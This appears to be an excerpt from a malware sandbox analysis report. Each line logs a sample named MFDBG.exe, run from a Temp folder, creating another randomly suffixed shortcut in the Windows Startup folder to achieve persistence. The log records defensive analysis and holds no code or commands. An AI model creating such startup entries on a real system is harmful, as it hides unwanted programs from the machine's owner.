Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_679da50a292449628d7cd03cf9bd3609.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ac9ff2f16234acf89b88865079d203b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3160f6c96ad24cf8a52bfde3f07fefe9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_805cd967a1e0458690a6d85264259d2d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_acc2bf7f8988429480a10d78e848d9de.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ec0339cccda84fab851ef4c897b654b2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4515f89eab1541fb909daf5ff439699f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ac7c183d8e104d0898ec08ba3d6e977a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_137c7ac15843439eb825bf0c2a708ec6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_23e9901023b54a33a2de565a46838dce.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_475738d6735b421e99266b504b11afdf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_109556ef264145c5be3801860d1b872f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66c131e505384837b3a2f3317d9813e3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_57062ac43d244e55829ae53f97667ed7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f42fccc5c8864a93813cdc713df7f4ed.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ec72330d02a449b7acfcbf1c2e2cf9c0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_071cf82760de41e99435ad6398c24c65.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_156dc3e9b6bb48aa92d0b55d707d8af2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c6d7257202c0473c944c370bfa08bfd0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_585962d65693493c9f6397a571fab6d2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_39cc9ec8f4bd4a0c98339c9bdfd38e93.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c6e1b108fc64121a5aacb408ce67174.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c7d6042b576147de8e29ae337a2ff07c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1e74a4d3818c4fd1869db2495707835b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_497b0a681df74d3282867dea6f1d036f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db6adcdf1253475e88705991bd9cf61a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_04c1001ba5574c47b33110af710791ef.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f5e036cdd1a4229960c35d98f3afc09.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b232f552655b442e91e243177dabfc23.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_658a35f72f36410e894938d8b4924e1b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5fc62a6ef9bb44d49f4cf450238040ef.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_169a8ab98ae344afbaf9d35089a0790c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77b0405ea0c54d08bcc96d7d3bd144ff.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_616c77c8d81b45189e7dc543774216b4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_caa654c0f4094f658b8057f71fd643e9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_efc1798fdc224763b93016ab0cbb57ee.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f14d23d85d314034bb30e6c2d60805bf.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cc6fe0b2a8ff495c9e7c5f8fac00502e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d4635a99a8346aca93415f5253b3472.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_19af4b0ec86e433784f31c45a8d89545.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c01d1f43abad47de9b63f5513ab96213.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_89925ead917944e1bd230fadba57510f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b6a163b0b13426183717bb2fa3d0e3d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8992373415094bbb9cfd1f754c46e0f4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d460b570f2304dc19508dd01d13f93a8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f1803509303b48f5b904c8fa1f099f5a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd626d5548ae42409c1fdae75147c9a8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_17bd15a483464248ad45af8a36beb358.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_acd992553136413d9ee2cd1e9ae6b5da.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be9a163a6d3f439f9d330bef461bfbe7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_60a37a0003fc4ed992eeb20a2b74cc1f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da45402122a24a7c85abe99910967088.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b3ebd8dad6b4d809ae166cfb9ae79fd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4509f2ad60fe44cbbcb71522cc0b79c8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3e89f36c22f04217af2679e3405c3703.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_46ef1c6314cf4077810103f4d35b93d6.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85324bf894f340f6bb73538e7d5331ff.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8115beec93a64fa48b4d8772888949ea.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5994c4f76e949a59fbb1a9fc1620139.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4537eb6254c14cc5b547d02f5005b4bc.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f2aa5d003b4e4e4394d6f4df59c5ab84.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9891e5b015b54949a17ffd45a9e9a8b8.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_91d21475abfe4993aaa0ddc1229f8d04.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_89d6b7170625409384e7f4a769f64bb9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32e7a693337445b88923a17f89a3aa5d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0dc090011b6e4d9ab510a6598886f387.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a0c248d82c9c45fea0ffdebca94057e9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_71746da67134498295117778ace96d82.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7617212e9fdb481a8319f93e4866b70c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_478197239b384fcbb76b176573f5ab40.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_699f6fbc03334506b0447e65da971d70.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9dc1b158f099427bb96ad9cc5fc8216c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_79146ee78bc846239b5ae6c55f4be0a9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_61640328780f46dbb4ef329b770ec391.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7f51a6e40cd24ca29760abfe493a5ae4.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9cfa133bdd21477bb518e9ef2ff5e73d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9908f5b9f0914ad79ed59161a56225a1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7434f515181649b1852be6f948db531e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_43498e3b584348428dbf1bf2adfda1e1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e0877bef9c484cf79631336b46e0ce8e.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_864643108bdd4e93a2e5f3a1b54f736b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b66c29c4921a4cd185e00d5de14bd280.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_16931965b924417193e687a660433dd9.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1521612094584a0486ccb444f864d999.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_efccadbc38fe43118b7cfd2249ee9d94.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e39011e68dc84617b54d8d5f916c0859.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7fea8f21d6524151a8354a388f915a9d.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4aa219b9a074443c8f4dcee1e73bffa2.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d0f1447ebe4c4e06bf6426f43757da94.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ce22d3362b94f86afedcb078d7d96fd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fea133c04c0f46ada8de02bef13e21da.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ece97f148b145e6a3369289e506e6f0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_65d19de78cdd42438cbb6278064c7393.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fec38dda4120454ba4ac93c72d8b1434.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f92896aee25f46f6b1c76c819b6516ef.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1f2f108031c94063b49ebe037131689a.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ff2ce5a97adf4d7f83314d1c2506ad96.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bd0044b8bb51477a9a61eb28d99d85fb.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9b31eff860a8442c935e91802d887db1.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_16868aa1c52840faa0f08e37c0829bb7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a59cf8d9c0194c159b94910f3a2d9164.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d90feb2d13fa46948585361ce1e9f4f3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_96124ec5f0194155ac18aaf4ffdaf7ba.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3533989310724dc5b3305b2029fa064b.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a7b9703a245b4d8ba0563dae2b800293.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4bd03e6a40ec4664ae8ec4e2f36100fd.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e72d1e922b284270b27fc39d9d870412.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b5f8100b04648328bde1b9a0bd06ec0.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_84d7e83159014bd6a24d57ec6cc36a79.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3082aa34e8184c72b425eb4a4c59f7ab.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9120928cfc2745a8b17bb7e0101d4e87.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c1c766fab86142ff90137a78ff4c83aa.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_22261f44e25e4decb78bc5984f92d245.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a004dd27b5b14b609cb800c1834ec07c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_06b41604452c48f8b035395d0090b77f.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8399efd8149640e2a8d3a86fca27be2c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_174952eccd804bea92c86c5412c92c7c.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6ab77f2378ba45aabb052cb7cbb4c939.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b4c85a20f7da4918b8f37885279efef7.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_26ddcc9abac74009aa03c4b94060b3e3.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_143a9690aadf46c484d44fa053c557fe.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_104f2f77afde412d8fec9a013cd2ae98.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e031093b780a4cb99f3940b4daf14752.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_39f168ed837d4db69b8c4eaa8f263215.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3006cde8e9ec416d88e73b967d83ca55.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2eca189fda0944e191bab0820cc50f4b.lnk Jump to behavior
